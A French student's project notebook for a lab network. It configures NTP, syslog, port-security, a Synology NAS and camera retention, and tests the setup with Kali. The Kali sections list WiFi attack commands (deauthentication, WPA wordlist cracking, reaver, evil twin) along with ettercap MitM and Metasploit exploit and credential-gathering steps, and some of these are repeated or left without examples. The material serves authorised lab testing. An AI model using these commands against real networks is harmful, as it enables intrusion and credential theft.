Raphaël
- NTP
- Comment trouver l'adresse du NAS
- Re-travail des missions
- Mission 1 — Centraliser l’heure (NTP)
- Mission 2 — Lister ce qui doit être journalisé (logs)
- Mission 3 — Paramétrer les logs sur routeurs & switchs
- Mission 4 — Mettre en place le serveur de logs (rsyslog)
- Mission 5 — Déployer NTP + logs sur toute l’infra
- Mission 6 — NAS Synology (stockage & sauvegardes)
- Mission 7 — Caméra IP D‑Link DCS‑4602EV (rétention 7 jours)
- Mission 8 — Fiches outils Kali (étude & documentation)
- Mission 9 — Tester les protections avec Kali
- Mission 10 — Scripts d’automatisation (optionnels mais utiles)
- 9.2 Kali video / doc
- Kali linux sans internet
- Tâche - Résultat
- Paramètrer la centralisation des données sur l'horaire (service NTP) depuis le router vers les autres périphériques réseaux (routeur - switchs)
- Dresser la liste des différents points devant faire l'objet d'un log au niveau des switch et des routeurs (en fonction de ce qu'il est possible de faire)
- Paramètrer les logs sur ces différents éléments sur les switchs et les routeurs
- Mettre en place un service permettant de recueillir ces logs et de pouvoir les consulter (serveur de logs)
- Déploiement NTP + Syslog
- Etudier les aspects techniques et mettre en oeuvre des tests de pénétration (SSID + mot de passe) sur le réseau Wifi.
- Kali outil utilisé
NTP
Configuration de la synchronisation de l'heure (NTP)
Outils utilisés : Routeur / Switchs Cisco – Packet Tracer
Objectif :
On va régler la synchronisation de l'heure (NTP) sur un routeur Cisco. L'idée, c'est que l'heure se mette à jour automatiquement avec Internet et que le routeur serve de référence pour les autres appareils du réseau.
Étape 1 – On regarde l'heure avec la commande suivante :
|
show clock |
Avec ça, on voit l'heure du routeur avant de changer quoi que ce soit.
Étape 2 – On règle le fuseau horaire avec les commandes suivantes :
|
conf t |
Ici, on dit au routeur qu'on est en France et qu'il faut passer à l'heure d'été tout seul.
Étape 3 – On vérifie qu'on a Internet avec la commande suivante :
|
Ping 8.8.8.8 // adresse de Google |
Il faut que le routeur puisse aller sur Internet pour parler aux serveurs NTP.
Étape 4 – On dit au routeur quels serveurs NTP utiliser avec les commandes suivantes :
|
conf t |
Du coup, le routeur va demander l'heure à ces serveurs.
Étape 5 – On fait du routeur le chef de l'heure avec les commandes suivantes :
|
conf t |
Même si Internet tombe, le routeur pourra quand même donner l'heure aux autres appareils.
Étape 6 – On vérifie que tout est OK avec les commandes suivantes :
|
show ntp status |
On regarde si l'horloge est bien synchronisée.
Étape 7 – On regarde l'heure une dernière fois de la commande :
|
show clock |
L'heure doit être la bonne.
Pour finir :
La synchronisation de l'heure, c'est important pour le projet IRS. Ça permet d'avoir des infos cohérentes et de surveiller le réseau sans problème.
Comment trouver l'adresse du NAS
1. Objectif
Le but du NAS est de regrouper toutes les données et de garder les vidéos des caméras de surveillance. On peut regarder les vidéos jusqu'à une semaine en arrière, comme demandé dans le projet IRS-SI.
NAS utilisé : Synology DS920+
2. Matériels
• NAS Synology DS920+ avec des disques durs faits pour ça
• Caméras IP qui marchent avec ONVIF
• Switch et routeur pour le réseau
• Adresse IP fixe pour le NAS
3. Installer le système DSM
Après avoir installé le NAS et branché au réseau, on installe DSM via le site suivant :
| https://find.synology.com |
Une fois le NAS déctecté :
- Installation automatique de DSM
- Création d'un compte administrateur bien protégé pendant cette étape (mot de passe fort).
Pour conclure
Le NAS Synology DS920+ est top pour garder et utiliser les vidéos de surveillance du projet IRSI-SI. Il est fiable, bien protégé et fait ce qu'on lui demande.
Re-travail des missions
Mission 1 — Centraliser l’heure (NTP)
--> A faire sur les deux switchs et le routeur
Pourquoi : Le routeur donne l’heure à tous les switchs et hôtes (horodatages cohérents pour les logs et les tests).
Console --> passer en config :
|
enable configure terminal |
Fuseau horaire (France) :
|
clock timezone CET 1
clock summer-time CEST recurring
|
------------------------------------------------------------------------------------------
Routeur NTP maître (seulement dans le routeur) :
|
ntp master 3 end write memory |
Pour vérifier :
|
show ntp status show clock |
------------------------------------------------------------------------------------------
Déclarer le routeur NTP (seulement dans les switchs) :
|
conf t |
Pour vérifier :
|
show ntp associations show clock |
--> Redémarre un switch --> show clock doit afficher la bonne heure (synchro)
-------------------------------------------------
Sans internet :
Bilan complet des commandes
Routeur
enable
clock set HH:MM:SS 19 March 2026
configure terminal
clock timezone CET 1
ntp master 3
end
write memory
Vérification :
show clock
show ntp status
Switchs (les deux)
enable
configure terminal
clock timezone CET 1
ntp server <IP_du_routeur>
end
write memory
Vérification :
show clock
show ntp associations
Points importants
- Ne pas mettre
clock summer-time CEST recurringpour l'instant (on est encore en heure d'hiver, ça décalerait d'1h) - Remplacer
<IP_du_routeur>par une IP visible dansshow ip interface briefsur le routeur - Le
clock setest à faire avant leconfigure terminal, sinon la commande n'est pas disponible
Mission 2 — Lister ce qui doit être journalisé (logs)
Objectif : Etablir quoi logger sur routeurs/switchs pour la supervision/sécurité.
1. Connexions administrateur
- Connexions SSH / Telnet / Console réussies
- Tentatives de connexion échouées
- Entrée / sortie du mode enable
- Escalade de privilèges
- Identifiant, IP source, date / heure
2. Changements d’état des interfaces
- Interface up/down
- Changement speed/duplex
- Déconnexion / reconnexion
- Erreurs physiques : CRC, collisions, input/output errors
3. Violations de sécurité L2
- Port‑Security : MAC inconnue, port en err‑disabled
- DHCP Snooping : serveur DHCP non autorisé
- Dynamic ARP Inspection (DAI) : ARP spoofing / MITM détecté
- IP Source Guard : mismatch IP/MAC
4. VLAN / trunk / Spanning‑Tree
- VLAN créés / supprimés / modifiés
- Changements d’affectation de port
- Perte d’un trunk 802.1Q
- Spanning‑Tree : changement de root, TCN, blocage de port
5. Reboot, crash, anomalies système
- Reboot planifié / manuel
- Crash system / stack trace
- Panic IOS / firmware
- Événements SNMP critiques
6. Alertes matérielles (température, ventilateurs, alimentation)
- Température anormale
- Ventilateur défectueux
- Panne alimentation / changement d’état PSU
7. Violations ACL / tentatives d’accès refusées
- Paquets bloqués par ACL
- Accès réseau refusé
- Tentatives d’accès à ressources interdites
8. Modifications de configuration
- copy run start / write
- Modification des ACL
- Modification des routes
- Création / suppression d’interfaces
- Changement de paramètres NTP, SNMP, VLAN
9. Événements système critiques
- CPU élevé
- Mémoire saturée
- Bug matériel
10. Journaux NTP (indispensable pour traçabilité)
- Synchronisation NTP OK / KO
- Perte de synchronisation
- Modification de serveur NTP
11. SNMP / Supervision
- Traps SNMP critiques
- Changements de configuration SNMPv3 (auth/priv)
- MIB système / sécurité
Sources a utiliser :
https://www.cnil.fr/fr/la-cnil-publie-une-recommandation-relative-aux-mesures-de-journalisation
https://donnees.net/gestion-logs-rgpd
Mission 3 — Paramétrer les logs sur routeurs & switchs
Sur PuTTy, sur le routeur :
|
conf t
service timestamps log datetime msec localtime show-timezone
service sequence-numbers
|
|
logging host 192.168.99.3
logging trap informational
logging on
|
|
login on-failure log
login on-success log
ip ssh logging events
|
|
archive
log config
logging enable
notify syslog
hidekeys
|
|
conf t
logging event link-status
logging event trunk-status
|
|
interface GigabitEthernet0/1
logging event link-status
|
|
ip access-list extended SECURITE
deny ip any any log
permit ip any any
|
|
ip dhcp snooping database write-delay 60
ip arp inspection logging
|
| ntp logging |
1.8. Logs système
| logging buffered 16384 warnings |
Sur PuTTy, sur le swicth :
|
service timestamps log datetime msec localtime show-timezone
service sequence-numbers
|
|
logging host 192.168.99.10
logging trap informational
logging on
|
Activation globalement :
|
ip dhcp snooping
ip dhcp snooping vlan 10,20,30,40,50
|
|
interface GigabitEthernet0/1
ip dhcp snooping trust
|
Logs spécifiques :
| ip dhcp snooping information option allow-untrusted |
| spanning-tree logging |
|
interface range Fa0/1 - 48
logging event link-status
|
Mission 4 — Mettre en place le serveur de logs (rsyslog)
| sudo nano /etc/rsyslog.conf |
|
module(load="imudp")
input(type="imudp" port="514") |
Redémarrer :
| sudo systemctl restart rsyslog |
Pour voir les logs :
| sudo tail -f /var/log/syslog |
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
PuTTy routeur + switch :
|
service timestamps log datetime msec localtime show-timezone
service sequence-numbers
|
| logging event link-status |
|
ip access-list extended SECURITE
deny ip any any log
permit ip any any
interface gi0/0/0
ip access-group SECURITE in
interface gi0/0/1
ip access-group SECURITE in
|
Port-Security (Switch) :
Téléphone + PC téléphone :
|
interface range fa0/6 , fa0/7, fa0/8
switchport mode access
switchport port-security
switchport port-security maximum 2
switchport port-security mac-address sticky
switchport port-security violation restrict
|
CaméraIP :
|
interface range fa0/19 , fa0/20
switchport mode access
switchport port-security
switchport port-security maximum 1
switchport port-security mac-address sticky
switchport port-security violation shutdown
|
| sudo nano /etc/rsyslog.conf |
|
module(load="imudp")
input(type="imudp" port="514") |
Redémarrer :
| sudo systemctl restart rsyslog |
Pour voir les logs :
| sudo tail -f /var/log/syslog |
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Mission 5 — Déployer NTP + logs sur toute l’infra
|
show run | include ntp|logging show clock |
Mission 6 — NAS Synology (stockage & sauvegardes)
Étapes
- Brancher le NAS sur le switch (VLAN défini par E3). Obtenir l’IP (DHCP ou statique).
- Accéder à DSM : navigateur →
http://IP_NAS:5000. - Créer volumes (SHR/RAID1 selon nb de disques), Btrfs recommandé.
- Créer partages :
Cisco_logscameras
- Activer protocoles : SMB (Windows), NFS si nécessaire.
- Comptes & droits : créer groupes/profils.
- Rétention : activer snapshots / quotas si Btrfs.
Installation et configuration un NAS
1. Objectif
Le but du NAS est de regrouper toutes les données et de garder les vidéos des caméras de surveillance. On peut regarder les vidéos jusqu'à une semaine en arrière, comme demandé dans le projet IRS-SI.
NAS utilisé : Synology DS920+
2. Matériels
• NAS Synology DS920+ avec des disques durs faits pour ça
• Caméras IP qui marchent avec ONVIF
• Switch et routeur pour le réseau
• Adresse IP fixe pour le NAS
3. Installer le système DSM
Après avoir installé le NAS et branché au réseau, on installe DSM via le site suivant :
| https://find.synology.com |
Une fois le NAS déctecté :
- Installation automatique de DSM
- Création d'un compte administrateur bien protégé pendant cette étape (mot de passe fort).
4. Régler l'heure et le NTP
On met le fuseau horaire sur Europe/Paris. L'heure se règle avec le serveur NTP, comme ça les vidéos et les infos du système ont la bonne heure. --> Si internet fonctionnel
| fr.pool.ntp.org |
Cette configuration garantit un horodatage fiable des vidéos et des journaux système.
5. Configurer le stockage
On installe Surveillance Station depuis le Centre de paquets DSM (dans le NAS).
On ouvre l'application "Enregistrement", on crée un espace de stockage SHR avec un volume en Btrfs, pour éviter de perdre des données en cas de problème.
6. Installer la vidéosurveillance
On ajoute les caméras IP :
On les sélectionne, et puis on les configurent :
- Via le protocole ONVIF
- Avec leurs adresses IP et identifiants (Authentifier)
- Test de connexion validé
On ajoute la plage horaire les comportement des caméras IP souhaitées.
On prend en compte les horaire de la PME fictive, selon les règles de la CNIL et les recommandation de l'ANSSI, avec citations.
7. Garder les vidéos
On met une règle pour garder les vidéos une semaine max (7 jours), après elles s'effacent automatiquement.
8. Sécuriser l'accès
On crée des comptes pour chaque personne avec des droits limités pour la consultation des vidéos. Seules les personnes autorisées peuvent accéder à DSM et Surveillance Station.
9. Vérifications
On vérifie que les vidéos s'enregistrent bien, qu'on peut les regarder, qu'elles s'effacent après une semaine et que l'heure est bonne.
Note : Utilisation d'une basse qualité de caméra pour en garde une visibilité pour économiser du stockage.
Mission 7 — Caméra IP D‑Link DCS‑4602EV (rétention 7 jours)
Le but du NAS est de regrouper toutes les données et de garder les vidéos des caméras de surveillance. On peut regarder les vidéos jusqu'à une semaine en arrière, comme demandé dans le projet IRSISI.
--> https://www.cnil.fr/fr/la-videosurveillance-au-travail
Alimentation : switch PoE (ou injecteur).
Découverte IP : via DHCP/switch (
show dhcp binding si relay) ou scan.Connexion web :
http://IP_CAMERA → changer mot de passe admin, vérifier firmware.Intégration NAS :
- NAS → Surveillance Station → Ajouter caméra → modèle D‑Link DCS‑4602EV → saisir IP/login.
- Définir rétention : 7 jours pour le dossier
cameras.
2. Matériels
• NAS Synology DS920+ avec des disques durs faits pour ça
• Caméras IP qui marchent avec ONVIF
• Switch et routeur pour le réseau
• Adresse IP fixe pour le NAS
3. Installer le système DSM
Après avoir installé le NAS et branché au réseau, on installe DSM via le site suivant :
| https://find.synology.com |
Une fois le NAS déctecté :
- Installation automatique de DSM
- Création d'un compte administrateur bien protégé pendant cette étape (mot de passe fort).
4. Régler l'heure et le NTP
On met le fuseau horaire sur Europe/Paris. L'heure se règle avec le serveur NTP, comme ça les vidéos et les infos du système ont la bonne heure.
| fr.pool.ntp.org |
Cette configuration garantit un horodatage fiable des vidéos et des journaux système.
5. Configurer le stockage
On crée un espace de stockage SHR avec un volume en Btrfs, pour éviter de perdre des données en cas de problème.
6. Installer la vidéosurveillance
On installe Surveillance Station depuis le Centre de paquets DSM.
Les caméras IP sont ajoutées :
- Via le protocole ONVIF
- Avec leurs adresses IP et identifiants
- Test de connexion validé
7. Garder les vidéos
On met une règle pour garder les vidéos une semaine max (7 jours), après elles s'effacent automatiquement.
8. Sécuriser l'accès
On crée des comptes pour chaque personne avec des droits limités pour la consultation des vidéos. Seules les personnes autorisées peuvent accéder à DSM et Surveillance Station.
9. Vérifications
On vérifie que les vidéos s'enregistrent bien, qu'on peut les regarder, qu'elles s'effacent après une semaine et que l'heure est bonne.
Pour conclure
Le NAS Synology DS920+ est top pour garder et utiliser les vidéos de surveillance du projet IRSI-SI. Il est fiable, bien protégé et fait ce qu'on lui demande.
Mission 8 — Fiches outils Kali (étude & documentation)
--> Kali Linux MV
|
# Nmap (exemples)
nmap -sn 172.16.10.0/24
nmap -sS -sV -p 22,80,443 172.16.10.1
|
Mission 9 — Tester les protections avec Kali
Port‑Security
- Brancher PC‑A (MAC‑1) → OK.
- Remplacer par Kali (MAC‑2) → violation attendue.
- Vérifier :
|
show port-security interface GiX/Y
show logging
|
--> Sur rsyslog, il doit y avoir une alerte !!!
| sudo dhclient -v eth0 |
--> Tenter faux serveur (sur port non-trusted) --> Il doit échouer côté client
Vérifier dans Wireshark --> Filtrer "bootp" + logs switch.
| sudo arp-scan --interface eth0 --localnet |
Pour le contrôler :
|
show ip arp inspection statistics show logging |
--> Faire une capture Wireshark filtre arp
Depuis Kali (VLAN test), scanner services admin routeur/NAS :
| nmap -sS -p 22,23,80,443,161,514 (IP routeur) |
Essais directs (doivent normalement échouer) :
|
ssh admin@172.16.0.1
curl -k https://172.16.0.1
|
→ Attendu : inaccessible (filtré). Logs côté routeur/rsyslog
|
sudo airmon-ng start wlan0
airodump-ng wlan0mon
|
| sudo tail -f /var/log/syslog |
Heure (NTP) cohérent et avec des événements (routeur + switch).
BONUS (IL FAUT DEMANDER) :
- Ettercap/Bettercap (démonstration DAI)
- John the Ripper (hash fourni)
--------------------------------------------------------------------------------------------------------------------------
Pour effectuer un test de pénétration sur une borne WiFi en utilisant Kali Linux, vous pouvez suivre ces étapes et utiliser les commandes appropriées. Ces étapes simulent une attaque pour évaluer les vulnérabilités du réseau WiFi.
1. Analyse du réseau WiFi
Commande : airodump-ng
Description : Cette commande permet de scanner les réseaux WiFi disponibles et de capturer les paquets pour analyser les trames de données.
Exemple :
airodump-ng wlan0
2. Détection des clients connectés
Commande : airodump-ng
Description : Vous pouvez utiliser airodump-ng pour détecter les clients connectés à un réseau WiFi spécifique.
Exemple :
3. Capture des paquets de données
Commande : airodump-ng
Description : Capturez les paquets de données pour analyser les trames de données et détecter les vulnérabilités.
Exemple :
4. Déchiffrement des paquets WEP
Commande : aircrack-ng
Description : Utilisez aircrack-ng pour déchiffrer les paquets WEP capturés.
Exemple :
5. Attaque de type Deauthentication
Commande : aireplay-ng
Description : Forcez les clients à se reconnecter pour capturer des paquets de données.
Exemple :
6. Attaque de type WPA/WPA2 PSK
Commande : aircrack-ng
Description : Utilisez aircrack-ng pour attaquer les réseaux WPA/WPA2 en utilisant une attaque par force brute.
Exemple :
7. Analyse des vulnérabilités
Commande : nmap
Description : Utilisez nmap pour scanner les ports ouverts et détecter les vulnérabilités sur les périphériques connectés.
Exemple :
8. Exploitation des vulnérabilités
Commande : metasploit
Description : Utilisez Metasploit pour exploiter les vulnérabilités détectées.
Exemple :
9. Post-exploitation
Commande : metasploit
Description : Après avoir exploité une vulnérabilité, vous pouvez utiliser Metasploit pour effectuer des actions post-exploitation, telles que l'installation de backdoors ou le vol de données.
Exemple :
Ces commandes et étapes vous permettront de réaliser un test de pénétration complet sur une borne WiFi, en identifiant et exploitant les vulnérabilités potentielles.
10. Capture des paquets avec Wireshark
Commande : wireshark
Description : Utilisez Wireshark pour capturer et analyser les paquets réseau en temps réel. Cela peut aider à identifier des vulnérabilités spécifiques et à comprendre le trafic réseau.
Exemple :
11. Attaque de type Evil Twin
Commande : hostapd
Description : Créez un faux point d'accès WiFi pour capturer les données des clients connectés.
Exemple :
12. Analyse des fichiers de configuration
Commande : cat
Description : Examinez les fichiers de configuration des réseaux WiFi pour identifier des informations sensibles ou des vulnérabilités.
Exemple :
13. Utilisation de Kismet
Commande : kismet
Description : Kismet est un outil de détection et d'analyse des réseaux sans fil. Il peut être utilisé pour scanner les réseaux WiFi et détecter les vulnérabilités.
Exemple :
14. Attaque de type Man-in-the-Middle (MitM)
Commande : ettercap
Description : Utilisez Ettercap pour intercepter et manipuler le trafic réseau entre deux parties.
Exemple :
15. Analyse des vulnérabilités avec Nessus
Commande : nessus
Description : Nessus est un outil de scan de vulnérabilités qui peut être utilisé pour identifier les failles de sécurité sur les réseaux WiFi.
Exemple :
16. Exploitation des vulnérabilités avec Metasploit
Commande : metasploit
Description : Utilisez Metasploit pour exploiter les vulnérabilités identifiées. Metasploit offre une large gamme d'exploits et de payloads pour différentes vulnérabilités.
Exemple :
17. Post-exploitation avec Metasploit
Commande : metasploit
Description : Après avoir exploité une vulnérabilité, vous pouvez utiliser Metasploit pour effectuer des actions post-exploitation, telles que l'installation de backdoors ou le vol de données.
Exemple :
18. Analyse des logs
Commande : tail
Description : Examinez les logs des systèmes pour identifier des activités suspectes ou des vulnérabilités.
Exemple :
-
Commande :
reaver -
Description : Reaver est un outil qui peut être utilisé pour attaquer les réseaux WiFi protégés par WPA/WPA2 en utilisant une attaque par force brute sur le mot de passe.
-
Exemple :
reaver -i wlan0 -b <BSSID> -vv
-
Commande :
openvasmd -
Description : OpenVAS est un outil de scan de vulnérabilités qui peut être utilisé pour identifier les failles de sécurité sur les réseaux WiFi.
-
Exemple :
openvasmd --create-report --format xml --output /path/to/report.xml
-
Commande :
wifite -
Description : Wifite est un outil automatisé pour attaquer les réseaux WiFi. Il peut être utilisé pour détecter les réseaux, capturer les paquets et attaquer les réseaux WEP et WPA/WPA2.
-
Exemple :
wifite
-
Commande :
hostapd -
Description : Créez un faux point d'accès WiFi pour capturer les données des clients connectés.
-
Exemple :
hostapd /etc/hostapd.conf
-
Commande :
aircrack-ng -
Description : Utilisez Aircrack-ng pour attaquer les réseaux WPA/WPA2 en utilisant une attaque par force brute.
-
Exemple :
aircrack-ng -b <BSSID> -w <wordlist> capture-01.cap
-
Commande :
nessus -
Description : Nessus est un outil de scan de vulnérabilités qui peut être utilisé pour identifier les failles de sécurité sur les réseaux WiFi.
-
Exemple :
nessus
-
Commande :
kismet -
Description : Kismet est un outil de détection et d'analyse des réseaux sans fil. Il peut être utilisé pour scanner les réseaux WiFi et détecter les vulnérabilités.
-
Exemple :
kismet
-
Commande :
ettercap -
Description : Utilisez Ettercap pour intercepter et manipuler le trafic réseau entre deux parties.
-
Exemple :
ettercap -G
-
Commande :
cat -
Description : Examinez les fichiers de configuration des réseaux WiFi pour identifier des informations sensibles ou des vulnérabilités.
-
Exemple :
cat /etc/hostapd.conf
-
Commande :
wireshark -
Description : Utilisez Wireshark pour capturer et analyser les paquets réseau en temps réel. Cela peut aider à identifier des vulnérabilités spécifiques et à comprendre le trafic réseau.
-
Exemple :
wireshark
-
Commande :
tail -
Description : Examinez les logs des systèmes pour identifier des activités suspectes ou des vulnérabilités.
-
Exemple :
tail -f /var/log/syslog
Mission 10 — Scripts d’automatisation (optionnels mais utiles)
|
#!/usr/bin/env bash
TS=$(date +%F_%H%M%S)
nmap -sS -p 22,80,443 172.16.10.0/24 -oN scan_$TS.txt
|
Script auto 2 :
|
#!/usr/bin/env bash
TS=$(date +%F_%H%M%S)
grep -Ei 'SEC|ARP|DAI|DHCP|PORT-SEC|ACL' /var/log/syslog > events_$TS.log
|
9.2 Kali video / doc
Utilisés pour décoder ou récupérer un mot de passe
Ex : John the Ripper, Ophcrack, L0phtCrack, THC Hydra, RainbowCrack, et Medusa
--> https://www.youtube.com/watch?v=wj-moIzMJtI
Vulnérabilité du résolveur DNS Outils de piratage sans fil
Ex : Aircrack-ng, Kismet, InSSIDer, KisMAC, Firesheep et NetStumbler
--> https://www.youtube.com/watch?v=9bEovGdMPtc
Analyse et de piratage réseau sonder les périphériques réseau, les serveurs et hôtes pour les ports TCP ou UDP ouverts
Ex : Nmap, SuperScan, Angry IP Scanner, et NetScanTools
--> https://www.youtube.com/watch?v=dkmTVVmiG5A
Outils de création de paquets peut nécessiter le redémarrage du résolveur ouvert DNS ou des services
sonder et tester robustesse d'un pare-feu en utilisant des paquets spécialement conçus
Ex : Hping, Scapy, Socat, Yersinia, Netcat, Nping, et Nemesis
--> https://www.youtube.com/watch?v=vX5YZ1jO7Zo
Renifleurs de paquets l'acteur de menace envoie deux réponses ARP usurpées gratuitement en utilisant sa propre adresse MAC pour les adresses IP de destination indiquées.
Utilisés pour capturer et analyser les paquets au sein de LAN Ethernet ou WLAN
Ex : Wireshark, Tcpdump, Ettercap, Dsniff, EtherApe, Paros, Fiddler, Ratproxy, et SSLstrip
--> https://www.youtube.com/watch?v=M0hZ5ko32is
Détecteurs de rootkit vérificateur d'intégrité des répertoires et des fichiers utilisé par les chapeaux blancs pour détecter les root kits installés.
Ex : AIDE, Netfilter et PF: OpenBSD Packet Filter
--> https://www.youtube.com/watch?v=ZtI4QhOZLNM
Fuzzers Générateurs de bruits pour rechercher des vulnérabilités
Ex : Skipfish, Wapiti, et W3af
--> https://www.youtube.com/watch?v=kIIeLA78E-k
Outils d'investigation : Utilisés par les pirates à chapeau blanc pour flairer toute trace de preuves existant dans un ordinateur
Ex : Maltego, Helix, Maltego, et Encase
-->
Débogueurs
Utilisés par les chapeaux noirs pour faire de l'ingénierie inverse sur des fichiers binaires lors de l'écriture d'exploits.
Attaquant doit usurper l'adresse IP d'un hôte prédire le numéro de séquence suivant et envoyer un ACK à l'autre hôte
également utilisés par les chapeaux blancs lors de l'analyse des logiciels malveillants
Ex : GDB, WinDbg, IDA Pro et Immunity Debugger
--> https://www.youtube.com/watch?v=iQf1OvTREvg
OS de piratage
OS spécialement conçus, préchargés avec des outils optimisés pour le piratage
Ex : Kali Linux, Knoppix, BackBox Linux
-->
Outils de chiffrement
coder les données afin d'empêcher tout accès non autorisé aux données cryptées
Ex : VeraCrypt, CipherShed, OpenSSH, OpenSSL, Tor, OpenVPN et Stunnel
--> https://www.youtube.com/watch?v=J2JKh9mOy8U
--> https://www.youtube.com/watch?v=6CqT96d4-8Y
Outils d'exploitation des vulnérabilités
Déterminer si un hôte distant est vulnérable à une attaque de sécurité
Ex : Metasploit, Core Impact, Sqlmap, Social Engineer Toolkit, et Netsparker
--> https://www.youtube.com/shorts/jBTW8wWnkqU
Analyseurs devulnérabilité
Analysent un réseau ou un système pour identifier les ports ouverts
utilisé également pour rechercher vulnérabilités connues et analyser les MV, BYOD périphériques et BDD client
Ex : Nipper, Secunia PSI, Core Impact, Nessus v6, SAINT, et Open VAS
--> https://www.youtube.com/watch?v=EaA5pLAwnkc
--> https://www.youtube.com/watch?v=vvp_OnKjhik
Kali linux sans internet
1. Scan des réseaux WiFi
-
Commande :
airodump-ng -
Description : Utilisez
airodump-ngpour scanner les réseaux WiFi disponibles et capturer les paquets pour analyser les trames de données. -
Exemple :
airodump-ng wlan0
2. Détection des clients connectés
-
Commande :
airodump-ng -
Description : Vous pouvez utiliser
airodump-ngpour détecter les clients connectés à un réseau WiFi spécifique. -
Exemple :
airodump-ng --bssid <BSSID> -c <channel> wlan0
3. Capture des paquets de données
-
Commande :
airodump-ng -
Description : Capturez les paquets de données pour analyser les trames de données et détecter les vulnérabilités.
-
Exemple :
airodump-ng --bssid <BSSID> -c <channel> -w capture wlan0
4. Déchiffrement des paquets WEP
-
Commande :
aircrack-ng -
Description : Utilisez
aircrack-ngpour déchiffrer les paquets WEP capturés. -
Exemple :
aircrack-ng -b <BSSID> -w <wordlist> capture-01.cap
5. Attaque de type Deauthentication
-
Commande :
aireplay-ng -
Description : Forcez les clients à se reconnecter pour capturer des paquets de données.
-
Exemple :
aireplay-ng --deauth 10 -a <BSSID> wlan0
6. Attaque de type WPA/WPA2 PSK
-
Commande :
aircrack-ng -
Description : Utilisez
aircrack-ngpour attaquer les réseaux WPA/WPA2 en utilisant une attaque par force brute. -
Exemple :
aircrack-ng -b <BSSID> -w <wordlist> capture-01.cap
7. Analyse des vulnérabilités
-
Commande :
nmap -
Description : Utilisez
nmappour scanner les ports ouverts et détecter les vulnérabilités sur les périphériques connectés. -
Exemple :
nmap -sV <target_ip>
8. Exploitation des vulnérabilités
-
Commande :
metasploit -
Description : Utilisez Metasploit pour exploiter les vulnérabilités détectées.
-
Exemple :
msfconsoleuse exploit/<path_to_exploit>set RHOST <target_ip>run
9. Post-exploitation
-
Commande :
metasploit -
Description : Après avoir exploité une vulnérabilité, vous pouvez utiliser Metasploit pour effectuer des actions post-exploitation, telles que l'installation de backdoors ou le vol de données.
-
Exemple :
use post/windows/gather/credentialsset SESSION <session_id>run
10. Capture des paquets avec Wireshark
-
Commande :
wireshark -
Description : Utilisez Wireshark pour capturer et analyser les paquets réseau en temps réel. Cela peut aider à identifier des vulnérabilités spécifiques et à comprendre le trafic réseau.
-
Exemple :
wireshark
11. Attaque de type Evil Twin
-
Commande :
hostapd -
Description : Créez un faux point d'accès WiFi pour capturer les données des clients connectés.
-
Exemple :
hostapd /etc/hostapd.conf
12. Analyse des fichiers de configuration
-
Commande :
cat -
Description : Examinez les fichiers de configuration des réseaux WiFi pour identifier des informations sensibles ou des vulnérabilités.
-
Exemple :
cat /etc/hostapd.conf
13. Utilisation de Kismet
-
Commande :
kismet -
Description : Kismet est un outil de détection et d'analyse des réseaux sans fil. Il peut être utilisé pour scanner les réseaux WiFi et détecter les vulnérabilités.
-
Exemple :
kismet
14. Attaque de type Man-in-the-Middle (MitM)
-
Commande :
ettercap -
Description : Utilisez Ettercap pour intercepter et manipuler le trafic réseau entre deux parties.
-
Exemple :
ettercap -G
15. Analyse des logs
-
Commande :
tail -
Description : Examinez les logs des systèmes pour identifier des activités suspectes ou des vulnérabilités.
-
Exemple :
tail -f /var/log/syslog
Tâche - Résultat
Paramètrer la centralisation des données sur l'horaire (service NTP) depuis le router vers les autres périphériques réseaux (routeur - switchs)
Bilan des commandes SANS Internet
Routeur
Vérification :
Switchs (les deux)
Vérification :
Points importants
- Ne pas mettre
clock summer-time CEST recurringpour l'instant (on est encore en heure d'hiver, ça décalerait d'1h) - Remplacer
<IP_du_routeur>par une IP visible dansshow ip interface briefsur le routeur - Le
clock setest à faire avant leconfigure terminal, sinon la commande n'est pas disponible
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Bilan des commandes AVEC Internet
Routeur
Switchs
Vérification :
Dresser la liste des différents points devant faire l'objet d'un log au niveau des switch et des routeurs (en fonction de ce qu'il est possible de faire)
Liste des points loggés
Sur les Switches Cisco
| Catégorie | Ce qui est loggé | Commande |
|---|---|---|
| Authentification | Connexions réussies et échouées SSH/VTY | login on-success/failure log |
| Configuration | Changements de config | archive log config |
| Réseau | Changements d'état des interfaces (up/down) | logging event link-status |
| STP | Changements de topologie Spanning Tree | spanning-tree logging |
| Trunk | Changements d'état des ports trunk | logging event trunk-status |
| Système | Logs en mémoire locale | logging buffered 65536 informational |
Sur le Routeur Cisco
| Catégorie | Ce qui est loggé | Commande |
|---|---|---|
| Authentification | Connexions réussies et échouées | login on-success/failure log |
| Configuration | Changements de config | archive log config |
| Réseau | Changements d'état des interfaces | logging event link-status |
| SSH | Événements SSH | ip ssh logging events |
| NTP | Synchronisation NTP | ntp logging |
| ACL | Trafic bloqué (deny) | log sur les ACL concernées |
Paramètrer les logs sur ces différents éléments sur les switchs et les routeurs
Paramétrage des logs
Sur les Switches Cisco (swb - 192.168.99.14 / 192.168.99.13)
service timestamps log datetime msec localtime show-timezone
logging buffered 65536 informational
logging host 192.168.99.12
logging trap informational
login on-failure log
login on-success log
archive
log config
logging enable
logging size 200
notify syslog contenttype plaintext
hidekeys
spanning-tree logging
logging event link-status (Fa0/3,6,7,8,16,17,18,19,20,21,22)
logging event trunk-status (Fa0/23, Gi0/1, Gi0/2)
Sur le Routeur Cisco (r0 - 192.168.99.1)
service timestamps log datetime msec localtime show-timezone
logging buffered 65536 informational
logging host 192.168.99.12
logging trap informational
ip ssh logging events
ntp logging
archive
log config
logging enable
notify syslog contenttype plaintext
hidekeys
logging event link-status (Gi0/0/0, Gi0/0/1)
line vty 0 4
login local
transport input ssh
Zéro stockage sur le switch
! === TIMESTAMPS ===
service timestamps log datetime msec localtime show-timezone
service sequence-numbers
! === ZÉRO STOCKAGE LOCAL ===
no logging buffered
no logging console
no logging monitor
no archive log config
! === TRANSMISSION VERS LOGANALYZER ===
logging trap informational
logging source-interface Vlan999
logging on
! === AUTHENTIFICATION ===
login on-failure log
login on-success log
! === SPANNING-TREE ===
spanning-tree logging
! === ÉVÉNEMENTS PAR INTERFACE ===
interface FastEthernet0/3
logging event link-status
interface FastEthernet0/6
logging event link-status
interface FastEthernet0/7
logging event link-status
interface FastEthernet0/8
logging event link-status
interface FastEthernet0/16
logging event link-status
interface FastEthernet0/17
logging event link-status
interface FastEthernet0/18
logging event link-status
interface FastEthernet0/19
logging event link-status
